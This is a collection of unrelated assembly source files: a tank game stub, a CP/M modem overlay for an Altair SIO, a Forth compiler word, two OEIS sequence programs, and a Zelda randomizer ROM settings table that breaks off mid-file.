pla ; whoops didn't need to push it two cycles ago.
rts
;; For each enemy, update their theta by (delta?)
update_enemy_angles
rts
;; For each enemy, update their radius by (delta)
;; 1. convert to x,y
;; 2. mumble something
;; 3. ???
;; 4. profit!
update_enemy_radii
rts
far_tank1 text 100,61,'O',99,'M',100,0
far_tank2 text 'M',99,99,99,99,'N',0
far_tank3 text ' ',99,99,99,99,0
far_tank_end byte 0
near_tank1 text ' FFO',99,99,99,'M',0
near_tank2 text 100,100,99,99,165,' M,100,100,0
near_tank3 text 'M ',99,99,99,99,99,99,99,99,' N',0
near_tank4 text ' M N',0
near_tank5 text ' ',99,99,99,99,99,99,99,99,0
near_tank_end byte 0
| 26.107383 | 74 | 0.477635 | [
"MIT"
] | dplassgit/games | TankZone/libEnemies.asm | 3,890 | Assembly |
; M7SIO.ASM -- ALTAIR SIO overlay for MDM7xx 11/11/83
;
; This overlay adapts the MDM7xx program to use a MITs SIO
; and an external modem.
; This program does not select baud rate, or any other
; settings.
;
; You could look at other overlay files to see how the GOODBYE and/or
; SETUPR areas are handled. You could then adapt one of those, if ap-
; propriate for your equipment in this overlay. Some examples:
;
; "DP" Datapoint 1560 overlay using 8251 I/O and CTC timers for
; setting baud rates
; "H8" Heath H89 overlay for 8250 I/O and programmable baud rates
; "HZ" Zenith 120 overlay for 2661B initialization and baud rates
; "XE" Xerox 820II overlay for Z80-SIO intialization, etc.
;
; Edit this file for your preferences then follow the "TO USE:" example
; shown below.
;
; TO USE: First edit this file filling in answers for your own
; equipment. Then assemble with ASM.COM or equivalent
; assembler. Then use DDT to overlay the the results
; of this program to the original .COM file:
;
; A>DDT MDM7xx.COM
; DDT VERS 2.2
; NEXT PC
; 4x00 0100
; -IM7MM-1.HEX (note the "I" command)
; -R ("R" loads in the .HEX file)
; NEXT PC
; 4x00 0000
; -G0 (return to CP/M)
; A>SAVE 73 MDM7xx.COM (now have a modified .COM file)
;
; = = = = = = = = = = = = = = = = = =
;
; 05/21/21 - Renamed to M7SIO.ASM - F Weigel
; 11/11/83 - Renamed to M7MM-1.ASM, no changes - Irv Hoff
; 07/27/83 - Renamed to work with MDM712 - Irv Hoff
; 07/07/83 - Adapted for Morrow Multi-I/O - G. Smith
; 07/01/83 - Revised to work with MDM711 - Irv Hoff
; 07/01/83 - Revised to work with MDM710 - Irv Hoff
; 05/27/83 - Updated to work with MDM709 - Irv Hoff
; 05/15/83 - Revised to work with MDM708 - Irv Hoff
; 04/11/83 - Updated to work with MDM707 - Irv Hoff
; 04/04/83 - First version of this file - Irv Hoff
;
; = = = = = = = = = = = = = = = = =
;
BELL: EQU 07H ;bell
CR: EQU 0DH ;carriage return
ESC: EQU 1BH ;escape
LF: EQU 0AH ;linefeed
TAB: EQU 09H ;tab
BDOS: EQU 0005H
;
YES: EQU 0FFH
NO: EQU 0
;
;
; Change the following information to match your equipment
;
SIOCTL EQU 0
SIODAT EQU 1
SIORCV EQU 01H
SIOXMT EQU 80H
;
;
ORG 100H
;
;
; Change the clock speed to suit your system
;
DS 3 ;(for "JMP START" instruction)
;
PMMIMODEM: DB NO ;yes=PMMI S-100 Modem 103H
SMARTMODEM: DB YES ;yes=HAYES Smartmodem, no=non-PMMI 104H
TOUCHPULSE: DB 'T' ;T=touch, P=pulse (Smartmodem-only) 105H
CLOCK: DB 20 ;clock speed in MHz x10, 25.5 MHz max. 106H
;20=2 MHh, 37=3.68 MHz, 40=4 MHz, etc.
MSPEED: DB 8 ;0=110 1=300 2=450 3=600 4=710 5=1200 107H
;6=2400 7=4800 8=9600 9=19200 default
BYTDLY: DB 0 ;0=0 delay 1=10ms 5=50 ms - 9=90 ms 108H
;default time to send character in ter-
;minal mode file transfer for slow BBS.
CRDLY: DB 0 ;0=0 delay 1=100 ms 5=500 ms - 9=900 ms 109H
;default time for extra wait after CRLF
;in terminal mode file transfer
NOOFCOL: DB 5 ;number of DIR columns shown 10AH
SETUPTST: DB NO ;yes=user-added Setup routine 10BH
SCRNTEST: DB NO ;Cursor control routine 10CH
ACKNAK: DB YES ;yes=resend a record after any non-ACK 10DH
;no=resend a record after a valid-NAK
BAKUPBYTE: DB NO ;yes=change any file same name to .BAK 10EH
CRCDFLT: DB YES ;yes=default to CRC checking 10FH
TOGGLECRC: DB YES ;yes=allow toggling of CRC to Checksum 110H
CONVBKSP: DB NO ;yes=convert backspace to rub 111H
TOGGLEBK: DB YES ;yes=allow toggling of bksp to rub 112H
ADDLF: DB NO ;no=no LF after CR to send file in 113H
;terminal mode (added by remote echo)
TOGGLELF: DB YES ;yes=allow toggling of LF after CR 114H
TRANLOGON: DB YES ;yes=allow transmission of logon 115H
;write logon sequence at location LOGON
SAVCCP: DB NO ;no=do not save CCP 116H
LOCONEXTCHR: DB NO ;yes=local command if EXTCHR precedes 117H
;no=external command if EXTCHR precedes
TOGGLELOC: DB YES ;yes=allow toggling of LOCONEXTCHR 118H
LSTTST: DB YES ;yes=printer available on printer port 119H
XOFFTST: DB NO ;yes=checks for XOFF from remote while 11AH
;sending a file in terminal mode
XONWAIT: DB NO ;yes=wait for XON after CR while 11BH
;sending a file in terminal mode
TOGXOFF: DB YES ;yes=allow toggling of XOFF checking 11CH
IGNORCTL: DB NO ;yes=CTL-chars above ^M not displayed 11DH
EXTRA1: DB 0 ;for future expansion 11EH
EXTRA2: DB 0 ;for future expansion 11FH
BRKCHR: DB '@'-40H ;^@ = Send 300 ms. break tone 120H
NOCONNCT: DB 'N'-40H ;^N = Disconnect from the phone line 121H
LOGCHR: DB 'L'-40H ;^O = Send logon 122H
LSTCHR: DB 'P'-40H ;^P = Toggle printer 123H
UNSAVE: DB 'R'-40H ;^R = Close input text buffer 124H
TRANCHR: DB 'T'-40H ;^T = Transmit file to remote 125H
SAVECHR: DB 'Y'-40H ;^Y = Open input text buffer 126H
EXTCHR: DB '^'-40H ; ^ = Send next character 127H
;
;
DS 2 ; 128H
;
;
IN$MODCTL1: IN SIOCTL ;in modem control port 12AH
RET
DS 7
;
OUT$MODDATP: OUT SIODAT ;out modem data port 134H
RET
DS 7
;
IN$MODDATP: IN SIODAT ;in modem data port 13EH
RET
DS 7
;
ANI$MODRCVB: ANI SIORCV ! RET ;bit to test for receive ready 148H
CPI$MODRCVR: CPI 0 ! RET ;value of rcv. bit when ready 14BH
ANI$MODSNDB: ANI SIOXMT ! RET ;bit to test for send ready 14EH
CPI$MODSNDR: CPI 0 ! RET ;value of send bit when ready 151H
DS 6 ; 156H
;
OUT$MODCTL1: RET ! NOP ! NOP ;out modem control port #2 15AH
OUT$MODCTL2: RET ! NOP ! NOP ;out modem control port #1 15DH
;
LOGONPTR: DW LOGON ;for user message. 160H
DS 6 ; 162H
JMP$GOODBYE: JMP GOODBYE ; 168H
JMP$INITMOD: JMP INITMOD ;go to user written routine 16BH
RET ! NOP ! NOP ;(by-passes PMMI routine) 16EH
RET ! NOP ! NOP ;(by-passes PMMI routine) 171H
RET ! NOP ! NOP ;(by-passes PMMI routine) 174H
JMP$SETUPR: JMP SETUPR ; 177H
JMP$SPCLMENU: JMP SPCLMENU ; 17AH
JMP$SYSVER: JMP SYSVER ; 17DH
JMP$BREAK: JMP SENDBRK ; 180H
;
;
; Do not change the following six lines.
;
JMP$ILPRT: DS 3 ; 183H
JMP$INBUF DS 3 ; 186H
JMP$INLNCOMP: DS 3 ; 189H
JMP$INMODEM DS 3 ; 18CH
JMP$NXTSCRN: DS 3 ; 18FH
JMP$TIMER DS 3 ; 192H
;
;
; Routine to clear to end of screen. If using CLREOS and CLRSCRN, set
; SCRNTEST to YES at 010AH (above).
;
CLREOS: CALL JMP$ILPRT ; 195H
DB 0,0,0,0,0 ;Vector MT code for CLREOS 198H
RET ; 19DH
;
CLRSCRN: CALL JMP$ILPRT ; 19EH
DB 0,0,0,0,0 ;Vector MT code for CLRSCRN 1A1H
RET ; 1A6H
;
SYSVER: CALL JMP$ILPRT ; 1A7H
DB 'ALTAIR SIO'
DB CR,LF,0
RET
;.....
;
;
;-----------------------------------------------------------------------
;
; NOTE: You can change the SYSVER message to be longer or shorter. The
; end of your last routine should terminate by 0400H (601 bytes
; available after start of SYSVER) if using the Hayes Smartmodem
; or by address 0C00H (2659 bytes) otherwise.
;
;-----------------------------------------------------------------------
;
; You can put in a message at this location which can be called up with
; CTL-O if TRANLOGON has been set TRUE. You can use several lines if
; desired. End with a 0.
;
LOGON: DB 'How are you today?',CR,LF,0
;.....
;
;
; Add your own routine here to send a break tone to reset some time-share
; computers, if desired.
;
SENDBRK: RET
;.....
;
;
; Add your own routine here to put DTR low and/or send a break tone.
; Check other routines such as MDM709DP.ASM which is using this feature.
;
GOODBYE: RET
;.....
;
;
; You can use this area for any special initialization or setup you may
; wish to include. Each must stop with a RET. You can check the other
; available overlays for ideas how to write your own routines if that
; may be of some help.
;
INITMOD: RET
;
;
SETUPR: RET
;
;
;
; If using the Hayes Smartmodem this is unavailable without a special
; change.
;
SPCLMENU: RET
;
;
BAUD$MSG: DB CR,LF,TAB,'SELECT BAUD RATE (MIO user 1)'
DB CR,LF,TAB,TAB,'1. 300'
DB CR,LF,TAB,TAB,'2. 1200'
DB CR,LF,TAB,TAB,'3. 4800'
DB CR,LF,TAB,TAB,'4. 9600','$'
;
BAUD$BUF: DB 01,00
CHOICE: DB 00
;.....
;
;
; The initialization table is nothing more than a list of bytes to
; be send to the baud rate registers, in the same order as the choices
; in the baud message above. Note the MSB,LSB order within each entry.
;
INITBLE: DB 80H,01 ;300 baud divisor = 0180H
DB 60H,0 ;1200 baud divisor = 0C0H
DB 18H,0 ;4800 baud divisor = 018H
DB 0CH,0 ;9600 baud divisor = 00CH
;.....
;
;
; NOTE: MUST TERMINATE PRIOR TO 0400H (with Smartmodem)
; 0C00H (without Smartmodem)
;.....
;
END
;
| 32.581818 | 74 | 0.635603 | [
"MIT"
] | ratboy666/hayes | m7sio.asm | 8,960 | Assembly |
; B,
; Reserve one byte of data space and store x in the byte
; D: x --
; Used to compile machine code
$CODE 'B,',$BCOMMA
POPDS EAX
MOV EBX,DWORD [VAR_DP + IMAGE_BASE]
MOV BYTE [EBX],AL
INC DWORD [VAR_DP + IMAGE_BASE]
$NEXT
| 32.727273 | 59 | 0.433333 | [
"Unlicense"
] | clstrfsck/ikforth | bootdict/x86/b-comma.asm | 360 | Assembly |
; A268753: Primes congruent to 1 mod 13.
; Submitted by Jon Maiga
; 53,79,131,157,313,443,521,547,599,677,859,911,937,1093,1171,1223,1249,1301,1327,1483,1613,1847,1873,1951,2003,2029,2081,2237,2341,2393,2549,2731,2861,2887,2939,3121,3251,3329,3407,3433,3511,3719,3797,3823,4057,4421,4447,4603,4733,4759,4889,4967,4993,5227,5279,5591,5669,5851,5903,5981,6007,6163,6397,6449,6553,6709,6761,6917,7151,7177,7229,7307,7333,7411,7489,7541,7723,7853,7879,8009,8087,8191,8243,8269,8581,8737,8867,8893,8971,9049,9127,9257,9283,9413,9439,9491,9803,9829,9907,10037
mov $2,$0
add $2,6
pow $2,2
mov $4,26
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,26
lpe
mov $0,$4
add $0,1
| 36.090909 | 487 | 0.716625 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/268/A268753.asm | 794 | Assembly |
; A030195: a(n) = 3*a(n-1) + 3*a(n-2), a(0)=0, a(1)=1.
; 0,1,3,12,45,171,648,2457,9315,35316,133893,507627,1924560,7296561,27663363,104879772,397629405,1507527531,5715470808,21668995017,82153397475,311467177476,1180861724853,4476986706987,16973545295520,64351596007521,243975423909123,924981059749932,3506869450977165
mov $27,$0
mov $29,2
lpb $29
clr $0,27
mov $0,$27
sub $29,1
add $0,$29
sub $0,1
lpb $0
mov $1,$0
sub $1,1
cal $1,103820 ; Whitney transform of 3^n.
mov $0,$5
lpe
mov $30,$29
lpb $30
mov $28,$1
sub $30,1
lpe
lpe
lpb $27
mov $27,0
sub $28,$1
lpe
mov $1,$28
| 21.448276 | 262 | 0.657556 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/030/A030195.asm | 622 | Assembly |
;================================================================================
; Item Tables
;--------------------------------------------------------------------------------
org $308000 ; bank #$30 ; PC 0x180000 - 0x180006 [encrypted]
HeartPieceIndoorValues:
HeartPiece_Forest_Thieves:
db #$17 ; #$17 = Heart Piece
HeartPiece_Lumberjack_Tree:
db #$17
HeartPiece_Spectacle_Cave:
db #$17
HeartPiece_Circle_Bushes:
db #$17
HeartPiece_Graveyard_Warp:
db #$17
HeartPiece_Mire_Warp:
db #$17
HeartPiece_Smith_Pegs:
db #$17
;--------------------------------------------------------------------------------
; 0x180006 - 0x18000F (unused) [encrypted]
;--------------------------------------------------------------------------------
org $308010 ; PC 0x180010 - 0x180017 [encrypted]
SpriteItemValues:
RupeeNPC_MoldormCave:
db #$46 ; #$46 = 300 Rupees
RupeeNPC_NortheastDarkSwampCave:
db #$46 ; #$46 = 300 Rupees
LibraryItem:
db #$1D ; #$1D = Book of Mudora
MushroomItem:
db #$29 ; #$29 = Mushroom
WitchItem:
db #$0D ; #$0D = Magic Powder
MagicBatItem:
db #$4E ; #$4E = Half Magic Item (Default) - #$FF = Use Original Logic - See "HalfMagic" Below
EtherItem:
db #$10 ; #$10 = Ether Medallion
BombosItem:
db #$0F ; #$0F = Bombos Medallion
;--------------------------------------------------------------------------------
; 0x180017 - 0x18001F (unused) [encrypted]
;--------------------------------------------------------------------------------
org $308020 ; PC 0x180020
DiggingGameRNG:
db #$0F ; #$0F = 15 digs (default) (max ~30)
org $1DFD95 ; PC 0xEFD95
db #$0F ; #$0F = 15 digs (default) (max ~30)
org $308021 ; PC 0x180021
ChestGameRNG:
db #$00 ; #$00 = 2nd chest (default) - #$01 = 1st chest
;--------------------------------------------------------------------------------
;0 = Bombos
;1 = Ether
;2 = Quake
org $308022 ; PC 0x180022
MireRequiredMedallion:
db #$01 ; #$01 = Ether (default)
org $308023 ; PC 0x180023
TRockRequiredMedallion:
db #$02 ; #$02 = Quake (default)
;--------------------------------------------------------------------------------
org $308024 ; PC 0x180024 - 0x180027
BigFairyHealth:
db #$A0 ; #$A0 = Refill Health (default) - #$00 = Don't Refill Health
BigFairyMagic:
db #$00 ; #$80 = Refill Magic - #$00 = Don't Refill Magic (default)
SpawnNPCHealth:
db #$A0 ; #$A0 = Refill Health (default) - #$00 = Don't Refill Health
SpawnNPCMagic:
db #$00 ; #$80 = Refill Magic - #$00 = Don't Refill Magic (default)
;--------------------------------------------------------------------------------
org $308028 ; PC 0x180028
FairySword:
db #$03 ; #$03 = Golden Sword (default)
PedestalMusicCheck:
;org $08C435 ; <- 44435 - ancilla_receive_item.asm : 125
;db #$01 ; #$01 = Master Sword (default)
org $0589B0 ; PC 0x289B0 ; sprite_master_sword.asm : 179
PedestalSword:
db #$01 ; #$01 = Master Sword (default)
org $308029 ; PC 0x180029 - 0x18002A
SmithItemMode:
db #$01 ; #$00 = Classic Tempering Process - #$01 = Quick Item Get (default)
SmithItem:
db #$02 ; #$02 = Tempered Sword (default)
;org $06B48E ; PC 0x3348E ; sprite_smithy_bros.asm : 473
;SmithSwordCheck:
;db #$03 ; #$03 = Tempered Sword (default) ; THESE VALUES ARE +1
org $06B55C ; PC 0x3355C ; sprite_smithy_bros.asm : 634
SmithSword:
db #$02 ; #$02 = Tempered Sword (default)
;org $05EBD4 ; PC 0x2EBD4 - sprite_zelda.asm:23 - (LDA $7EF359 : CMP.b #$02 : BCS .hasMasterSword) - Zelda Spawnpoint Sword Check
;db #$05 ; #$02 = Tempered Sword (default) - #$05 = All Swords
;--------------------------------------------------------------------------------
; 0x18002B- 0x18002F (Unused)
;--------------------------------------------------------------------------------
org $308030 ; PC 0x180030
EnableSRAMTrace:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $308031 ; PC 0x180031
EnableEasterEggs:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $308032 ; PC 0x180032
OpenMode:
db #$01 ; #$00 = Normal (default) - #$01 = Open
;--------------------------------------------------------------------------------
org $308033 ; PC 0x180033
HeartBeep:
db #$20 ; #$00 = Off - #$20 = Normal (default) - #$40 = Half Speed - #$80 = Quarter Speed
;--------------------------------------------------------------------------------
org $308034 ; PC 0x180034 - 0x180035
StartingMaxBombs:
db #10 ; #10 = Default (10 decimal)
StartingMaxArrows:
db #30 ; #30 = Default (30 decimal)
;--------------------------------------------------------------------------------
org $308036 ; PC 0x180036 - 0x180037
RupoorDeduction:
dw #$000A ; #$0A - Default (10 decimal)
;--------------------------------------------------------------------------------
org $308038 ; PC 0x180038 -0x18003A
LampConeSewers:
db #$01 ; #$00 = Off - #$01 = On (default)
LampConeLightWorld:
db #$01 ; #$00 = Off (default) - #$01 = On
LampConeDarkWorld:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $30803B ; PC 0x18003B - PC 0x18003C
MapMode:
db #$00 ; #$00 = Always On (default) - #$01 = Require Map Item
CompassMode:
db #$00 ; #$00 = Off (default) - #$01 = Display Dungeon Count w/Compass - #$02 = Display Dungeon Count Always
;--------------------------------------------------------------------------------
org $30803D ; PC 0x18003D
PersistentFloodgate:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $30803E ; PC 0x18003E
InvincibleGanon:
db #$00
; #$00 = Off (default)
; #$01 = On
; #$02 = Require All Dungeons
; #$03 = Require "NumberOfCrystalsRequiredForGanon" Crystals and Aga2
; #$04 = Require "NumberOfCrystalsRequiredForGanon" Crystals
; #$05 = Require "GoalItemRequirement" Goal Items
; #$06 = Light Speed
; #$07 = Require All Crystals and Crystal Bosses
; #$08 = Require All Crystal Bosses only
;--------------------------------------------------------------------------------
org $30803F ; PC 0x18003F
HammerableGanon:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $308040 ; PC 0x180040
PreopenCurtains:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $308041 ; PC 0x180041
AllowSwordlessMedallionUse:
db #$00 ; #$00 = Off (default) - #$01 = Medallion Pads - #$02 = Always (Not Implemented)
;--------------------------------------------------------------------------------
org $308042 ; PC 0x180042
PermitSQFromBosses:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $308043 ; PC 0x180043
StartingSword:
db #$00 ; #$00 = No Sword (default) - #$FF = Non-Sword
;--------------------------------------------------------------------------------
org $308044 ; PC 0x180044
AllowHammerTablets:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $30805D ; PC 0x18005D
AllowHammerEvilBarrierWithFighterSword:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $308045 ; PC 0x180045
HUDDungeonItems:
; display ---edcba a: Small Keys, b: Big Key, c: Map, d: Compass, e: Bosses
db #$00
;--------------------------------------------------------------------------------
org $308046 ; PC 0x180046 Link's starting equipment
LinkStartingRupees:
dw #$0000
;--------------------------------------------------------------------------------
org $308048 ; PC 0x180048
MenuSpeed:
db #$08 ; #$08 (default) - higher is faster - #$E8 = instant open
org $0DDD9A ; PC 0x6DD9A (equipment.asm:95) ; Menu Down Chime
db #$11 ; #$11 = Vwoop Down (Default) - #$20 = Menu Chime
org $0DDF2A ; PC 0x6DF2A (equipment.asm:466) ; Menu Up Chime
db #$12 ; #$12 = Vwoop Up (Default) - #$20 = Menu Chime
org $0DE0E9 ; PC 0x6E0E9 (equipment.asm:780) ; Menu Up Chime
db #$12 ; #$12 = Vwoop Up (Default) - #$20 = Menu Chime
;--------------------------------------------------------------------------------
org $308049 ; PC 0x180049
MenuCollapse:
db #$00 ; #$00 = Press Start (default) - #$10 = Release Start
;--------------------------------------------------------------------------------
org $30804A ; PC 0x18004A
InvertedMode:
db #$00 ; #$00 = Normal (default) - #$01 = Inverted
;--------------------------------------------------------------------------------
org $30804B ; PC 0x18004B
QuickSwapFlag:
db #$00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $30804C ; PC 0x18004C
SmithTravelsFreely:
db #$00 ; #$00 = Off (default) - #$01 = On (frog/smith can enter multi-entrance doors)
;--------------------------------------------------------------------------------
org $30804D ; PC 0x18004D
EscapeAssist: ; ScrubMode:
db #$00
;---- -mba
;m - Infinite Magic
;b - Infinite Bombs
;a - Infinite Arrows
;--------------------------------------------------------------------------------
org $30804E ; PC 0x18004E
UncleRefill:
db #$00
;---- -mba
;m - Refill Magic
;b - Refill Bombs
;a - Refill Arrows
;--------------------------------------------------------------------------------
org $30804F ; PC 0x18004F
ByrnaInvulnerability:
db #$01 ; #$00 = Off - #$01 = On (default)
;--------------------------------------------------------------------------------
org $308050 ; PC 0x180050 - 0x18005C
CrystalPendantFlags_2:
db $00 ; Sewers
db $00 ; Hyrule Castle
db $00 ; Eastern Palace
db $00 ; Desert Palace
db $00 ; Agahnim's Tower
db $40 ; Swamp Palace
db $40 ; Palace of Darkness
db $40 ; Misery Mire
db $40 ; Skull Woods
db $40 ; Ice Palace
.hera
db $00 ; Tower of Hera
db $40 ; Thieves' Town
db $40 ; Turtle Rock
;Pendant: $00
;Crystal: $40
;--------------------------------------------------------------------------------
org $30805E ; PC 0x18005E - Number of crystals required to enter GT
NumberOfCrystalsRequiredForTower:
db #$07 ; #$07 = 7 Crystals
org $30805F ; PC 0x18005F - Number of crystals required to kill Ganon
NumberOfCrystalsRequiredForGanon:
db #$07 ; #$07 = 7 Crystals
;--------------------------------------------------------------------------------
org $308060 ; PC 0x180060 - 0x18007E
ProgrammableItemLogicJump_1:
JSL.l $000000 : RTL
ProgrammableItemLogicJump_2:
JSL.l $000000 : RTL
ProgrammableItemLogicJump_3:
JSL.l $000000 : RTL
org $308061 ; PC 0x180061
ProgrammableItemLogicPointer_1:
dl #$000000
org $308066 ; PC 0x180066
ProgrammableItemLogicPointer_2:
dl #$000000
org $30806B ; PC 0x18006B
ProgrammableItemLogicPointer_3:
dl #$000000
;--------------------------------------------------------------------------------
; 0x18007F (unused)
;--------------------------------------------------------------------------------
org $308070 ; PC 0x180070 - 0x18007F
CrystalNumberTable:
db $00 ;
db $79 ; Swamp
db $00 ;
db $6E ; Ice
db $00 ;
db $6F ; Mire
db $00 ;
db $6D ; Thieves
db $69 ; Desert
db $7C ; TRock
db $69 ; Hera
db $6C ; Skull
db $69 ; Eastern
db $7F ; Darkness
db $00 ;
db $00 ;
;1 Indicator : 7F
;2 Indicator : 79
;3 Indicator : 6C
;4 Indicator : 6D
;5 Indicator : 6E
;6 Indicator : 6F
;7 Indicator : 7C
;8 Indicator : 7D
;9 Indicator : 7E
;Dark Red X : 69
;Light Red X : 78
;White X : 68
;Pendant UL : 60
;Pendant UR : 61
;Pendant BL : 70
;Pendant BR : 71
;Sword UL : 62
;Sword UR : 63
;Sword BL : 72
;Sword BR : 73
;Crystal UL : 64
;Crystal UR : 65
;Crystal BL : 74
;Crystal BR : 75
;Skull UL : 66
;Skull UR : 67
;Skull BL : 76
;Skull BR : 77
;Warp UL : 6A
;Warp UR : 6B
;Warp BL : 7A
;Warp BR : 7B
;--------------------------------------------------------------------------------
org $308080 ; PC 0x180080 - 0x180083
Upgrade5BombsRefill:
db #$00
Upgrade10BombsRefill:
db #$00
Upgrade5ArrowsRefill:
db #$00
Upgrade10ArrowsRefill:
db #$00
;--------------------------------------------------------------------------------
org $308084 ; PC 0x180084 - 0x180085
PotionHealthRefill:
db #$A0 ; #$A0 - Full Refill (Default)
PotionMagicRefill:
db #$80 ; #$80 - Full Refill (Default)
;--------------------------------------------------------------------------------
org $308086 ; PC 0x180086
GanonAgahRNG:
db #$00 ; $00 = static rng, $01 = no extra blue balls/warps
;--------------------------------------------------------------------------------
org $308087 ; PC 0x180087
IsEncrypted:
dw #$0000 ; $0000 = not encrypted, $0001 = encrypted with static key, $0002 = Encrypted w/ passcode entry screen
;--------------------------------------------------------------------------------
org $308089 ; PC 0x180089
TurtleRockAutoOpenFix:
db #$00 ; #$00 - Normal, #$01 - Open TR Entrance if exiting from it
;--------------------------------------------------------------------------------
org $30808A ; PC 0x18008A
BlockCastleDoorsInRain:
db #$00 ; #$00 - Normal, $01 - Block them (Used by Entrance Rando in Standard Mode)
;--------------------------------------------------------------------------------
org $30808B ; PC 0x18008B
PreopenPyramid:
db $00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $30808C ; PC 0x18008C
PreopenGanonsTower:
db $00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
org $30808D ; PC 0x18008D
InstantPostAgaWorldState:
db $00 ; #$00 = Off (default) - #$01 = On
;--------------------------------------------------------------------------------
; 0x18008E - 0x18008F (unused)
;--------------------------------------------------------------------------------
org $308090 ; PC 0x180090 - 0x180097
ProgressiveSwordLimit:
db #$04 ; #$04 - 4 Swords (default)
ProgressiveSwordReplacement:
db #$47 ; #$47 - 20 Rupees (default)
ProgressiveShieldLimit:
db #$03 ; #$03 - 3 Shields (default)
ProgressiveShieldReplacement:
db #$47 ; #$47 - 20 Rupees (default)
ProgressiveArmorLimit:
db #$02 ; #$02 - 2 Armors (default)
ProgressiveArmorReplacement:
db #$47 ; #$47 - 20 Rupees (default)
BottleLimit:
db #$04 ; #$04 - 4 Bottles (default)
BottleLimitReplacement:
db #$47 ; #$47 - 20 Rupees (default)
ProgressiveBowLimit:
db #$02 ; #$02 - 2 Bows (default)
ProgressiveBowReplacement:
db #$47 ; #$47 - 20 Rupees (default)
;--------------------------------------------------------------------------------
; 0x18009A - 0x18009F (unused)
;--------------------------------------------------------------------------------
org $3080A0 ; PC 0x1800A0 - 0x1800A4
Bugfix_MirrorlessSQToLW:
db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default)
Bugfix_SwampWaterLevel:
db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default)
Bugfix_PreAgaDWDungeonDeathToFakeDW:
db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default)
Bugfix_SetWorldOnAgahnimDeath:
db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default)
Bugfix_PodEG:
db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default)
;--------------------------------------------------------------------------------
; 0x1800A5 - 0x1800AF (unused)
;--------------------------------------------------------------------------------
org $3080B0 ; 0x1800B0-0x1800BF
StaticDecryptionKey:
dd $00000000, $00000000, $00000000, $00000000
;--------------------------------------------------------------------------------
org $3080C0 ; 0x1800C0-0x1800C7 [encrypted]
KnownEncryptedValue:
db $31, $41, $59, $26, $53, $58, $97, $93
;--------------------------------------------------------------------------------
; 0x1800C8 - 0x1800FF (unused)
;--------------------------------------------------------------------------------
org $308100 ; PC 0x180100 (0x40 bytes)
ShovelSpawnTable:
db $B2 ; Gold Bee
db $D8, $D8, $D8 ; Single Heart
db $D8, $D8, $D8, $D8, $D8 ; Single Heart
db $D9, $D9, $D9, $D9, $D9 ; Green Rupee
db $DA, $DA, $DA, $DA, $DA ; Blue Rupee
db $DB, $DB, $DB, $DB, $DB ; Red Rupee
db $DC, $DC, $DC, $DC, $DC ; 1 Bomb
db $DD, $DD, $DD, $DD, $DD ; 4 Bombs
db $DE, $DE, $DE, $DE, $DE ; 8 Bombs
db $DF, $DF, $DF, $DF, $DF ; Small Magic
db $E0, $E0, $E0, $E0, $E0 ; Large Magic
db $E1, $E1, $E1, $E1, $E1 ; 5 Arrows
db $E2, $E2, $E2, $E2, $E2 ; 10 Arrows
db $E3, $E3, $E3, $E3, $E3 ; Fairy
;--------------------------------------------------------------------------------
; Bank 30 resumes below at HeartPieceOutdoorValues
;--------------------------------------------------------------------------------
org $098B7C ; PC 0x48B7C
EtherTablet:
db #$10 ; #$10 = Ether
org $08CAA9 ; PC 0x44AA9
db #$10 ; #$10 = Ether
org $098B81 ; PC 0x48B81
BombosTablet:
db #$0F ; #$0F = Bombos
org $08CAAE ; PC 0x44AAE
db #$0F ; #$0F = Bombos
;--------------------------------------------------------------------------------
org $05FBD2 ; PC 0x2FBD2 - sprite_mad_batter.asm:209 - (#$01)
HalfMagic:
db $01 ; #$01 = 1/2 Magic (default) - #$02 = 1/4 Magic
;--------------------------------------------------------------------------------
org $07ADA7 ; PC 0x3ADA7 - Bank07.asm:7216 - (db 4, 8, 8)
CapeMagicUse:
db $04, $08, $10 ; change to db $04, $08, $08 for original cape behavior
org $08DC42 ; PC 0x45C42 - ancilla_cane_spark.asm:200 - (db 4, 2, 1)
ByrnaMagicUsage:
db #$04, #$02, #$01 ; normal, 1/2, 1/4 magic
;--------------------------------------------------------------------------------
;Dungeon Music
;org $02D592 ; PC 0x15592
;11 - Pendant Dungeon
;16 - Crystal Dungeon
org $02D592+$03
Music_Castle:
db $10,$10,$10
org $02D592+$24
Music_AgaTower:
db $10
org $02D592+$81
Music_Sewer:
db $10
org $02D592+$08
Music_Eastern:
db $11
org $02D592+$09
Music_Desert:
db $11, $11, $11, $11
org $02D592+$33
Music_Hera:
db $11
org $02907A ; 0x1107A - Bank02.asm:3089 (#$11)
Music_Hera2:
db $11
org $028B8C ; 0x10B8C - Bank02.asm:2231 (#$11)
Music_Hera3:
db $11
org $02D592+$26
Music_Darkness:
db $16
org $02D592+$25
Music_Swamp:
db $16
org $02D592+$28
Music_Skull:
db $16, $16, $16, $16
org $02D592+$76
Music_Skull_Drop:
db $16, $16, $16, $16
org $02D592+$34
Music_Thieves:
db $16
org $02D592+$2D
Music_Ice:
db $16
org $02D592+$27
Music_Mire:
db $16
org $02D592+$35
Music_TRock:
db $16
org $02D592+$15
